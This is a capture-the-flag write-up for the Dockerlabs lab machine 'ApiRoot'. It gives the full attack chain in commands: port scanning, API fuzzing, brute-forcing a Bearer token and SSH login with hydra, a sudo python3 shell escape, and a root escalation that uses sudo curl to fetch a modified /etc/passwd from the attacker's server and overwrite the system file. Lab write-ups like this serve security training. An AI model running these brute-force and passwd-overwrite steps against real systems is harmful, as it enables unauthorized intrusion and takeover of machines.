ApiRoot — Writeup¶
| Platform | Dockerlabs |
|---|---|
| OS | Linux |
| Difficulty | Medium |
| InitialVector | SSH Bruteforce (Bearer token leak) |
| Privesc | sudo curl (passwd overwrite) |
Phase 1 — Reconnaissance¶
Port Scan¶
nmap -sS -n -Pn -p- 172.17.0.2 -oG ports
nmap -sV -sC -n -Pn --min-rate 5000 -p22,5000 172.17.0.2 -oN portScan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4
5000/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH 9.2p1 |
| 5000 | HTTP | Werkzeug/Python — API |
Phase 2 — Service Enumeration¶
Web (5000)¶
The homepage describes a user management API with endpoints under /api/directorio_oculto and an authentication example using a Bearer token. Started fuzzing from /api:
gobuster dir -u http://172.17.0.2:5000/api \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt
Found /api/users returning 401 Unauthorized:
curl http://172.17.0.2:5000/api/users
# {"error": "No autorizado"}
The page itself hints at the authentication format: Authorization: Bearer <token>. Brute-forced the token value in Burp Intruder using xato-net-10-million-passwords-10000.txt:
Bearer password1 returned 200 OK:
[
{"id": 1, "nombre": "bob"},
{"id": 2, "nombre": "dylan"}
]
Two system users: bob and dylan.
SSH (22)¶
With the usernames extracted from the API, brute-forced SSH credentials:
hydra -L users -P /usr/share/wordlists/rockyou.txt 172.17.0.2 -s 22 ssh -t4
[22][ssh] host: 172.17.0.2 login: bob password: password1
Phase 3 — Attack Path¶
Initial Access¶
ssh [email protected]
# password: password1
Post-Shell — bob → balulero¶
sudo -l
# (balulero) NOPASSWD: /usr/bin/python3
Bob can run python3 as balulero without a password:
sudo -u balulero /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh")'
PrivEsc — balulero → root¶
sudo -l
# (ALL) NOPASSWD: /usr/bin/curl
curl as any user including root. Used it to overwrite /etc/passwd with a modified version where root has no password hash (removed the x from the password field):
Served the modified file from the attacking machine:
# Attacker
python3 -m http.server 9090
# Target
sudo curl http://172.17.0.1:9090/modifiedpasswd -o /etc/passwd
su root
root@256aaf26d59a:/home/bob# id
uid=0(root) gid=0(root) groups=0(root)
It was actually very easy, not medium — the whole chain was three well-known primitives back to back: a guessable Bearer token, a passwordless sudo to a second low-priv user, and a passwordless sudo curl that made overwriting /etc/passwd trivial.
Nothing here required chaining anything unusual, just recognizing each GTFOBins-style escalation as it showed up.